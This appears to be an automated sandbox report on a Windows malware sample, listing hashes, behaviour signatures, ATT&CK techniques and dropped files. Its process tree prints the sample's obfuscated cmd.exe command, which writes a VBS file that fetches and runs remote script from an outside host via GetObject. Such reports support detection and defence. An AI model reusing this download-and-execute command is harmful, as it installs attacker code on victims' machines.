Analysis

  • max time kernel
    106s
  • max time network
    229s
  • platform
    windows7_x64
  • resource
    win7-20230220-es
  • resource tags

    arch:x64arch:x86image:win7-20230220-eslocale:es-esos:windows7-x64systemwindows
  • submitted
    31-03-2023 20:21

General

  • Target

    FACT_RY65855PAT0.exe

  • Size

    1.8MB

  • MD5

    3d6b870b71fe64e9fab41314f4ff75cf

  • SHA1

    45e91fc8eb9cace7143d06a39166108b5531607a

  • SHA256

    1eeb7c8ef775f5bf2f0e19d3fccc2df475aadb65a039fbdc0593ed48d6ed24ae

  • SHA512

    d093533ca4ca8e82029ef47c4135e15c99494e25d9db3ce49d06fb89cce44ee934288e98b15561b95911522a3f1b5e49f23a853b68389e53caebd7c88194c5d9

  • SSDEEP

    49152:eGj78kv0nmHkhPk0+mzTcg/S1OJqqA0ieped:ZXrv/Hky0RzPSMJ9AQod

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FACT_RY65855PAT0.exe
    "C:\Users\Admin\AppData\Local\Temp\FACT_RY65855PAT0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c %ComSpec% /V/D/c "echo mf8=".":hk85=":":gn2="/":GetObject("scripT"+hk85+"https"+hk85+"//mtx"+mf8+"zzux"+mf8+"com/njmr1")>%Public%\h587.vBs&&%ComSpec% /c start %Public%\h587.vBs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /V/D/c "echo mf8=".":hk85=":":gn2="/":GetObject("scripT"+hk85+"https"+hk85+"//mtx"+mf8+"zzux"+mf8+"com/njmr1")>C:\Users\Public\h587.vBs&&C:\Windows\system32\cmd.exe /c start C:\Users\Public\h587.vBs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:288
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c start C:\Users\Public\h587.vBs
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\h587.vBs"
            5⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            PID:2008

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    61KB

    MD5

    e71c8443ae0bc2e282c73faead0a6dd3

    SHA1

    0c110c1b01e68edfacaeae64781a37b1995fa94b

    SHA256

    95b0a5acc5bf70d3abdfd091d0c9f9063aa4fde65bd34dbf16786082e1992e72

    SHA512

    b38458c7fa2825afb72794f374827403d5946b1132e136a0ce075dfd351277cf7d957c88dc8a1e4adc3bcae1fa8010dae3831e268e910d517691de24326391a6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    342B

    MD5

    4a3df1f1a1cab8ebdaec4065063b5c33

    SHA1

    0f7bb24a30fd1ea4f9323046ef57d1b03886dd34

    SHA256

    2c9bdd80881ce119f4c0c7fd403777d9670631063bea2944a573b2155e49a098

    SHA512

    8be28a8b14943ebcd1f377348daa7e614097f57d5274c28127291dcc3d2cd99062b2ea5d5fca38f98e7be1dab67a042fa04e78d0fce0753c3ca986d67084e26b

  • C:\Users\Admin\AppData\Local\Temp\Cab4157.tmp
    Filesize

    61KB

    MD5

    fc4666cbca561e864e7fdf883a9e6661

    SHA1

    2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

    SHA256

    10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

    SHA512

    c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

  • C:\Users\Admin\AppData\Local\Temp\Tar42E4.tmp
    Filesize

    161KB

    MD5

    be2bec6e8c5653136d3e72fe53c98aa3

    SHA1

    a8182d6db17c14671c3d5766c72e58d87c0810de

    SHA256

    1919aab2a820642490169bdc4e88bd1189e22f83e7498bf8ebdfb62ec7d843fd

    SHA512

    0d1424ccdf0d53faf3f4e13d534e12f22388648aa4c23edbc503801e3c96b7f73c7999b760b5bef4b5e9dd923dffe21a21889b1ce836dd428420bf0f4f5327ff

  • C:\Users\Public\h587.vBs
    Filesize

    99B

    MD5

    0a7ccba24c3dd86e5af2e22e583e974c

    SHA1

    2dad8b33c4bbcc73cbd61f94d5f17af392c0ebd8

    SHA256

    9d69d5dd7aea0e2e3f4a18551bc6b1bfa8ab77c528fd1a5a29e3c4baf471c43f

    SHA512

    c7aabaebd16b16cff069d776ca06810aa60e9c950080c2503deaa93a22bb06b491b0cbaafb5b5917abf9b6e430558356612e08537444e34be0f966c0cd1ab249

  • memory/1296-54-0x00000000008A0000-0x0000000000A78000-memory.dmp
    Filesize

    1.8MB

  • memory/1296-75-0x00000000008A0000-0x0000000000A78000-memory.dmp
    Filesize

    1.8MB

  • memory/1296-163-0x00000000008A0000-0x0000000000A78000-memory.dmp
    Filesize

    1.8MB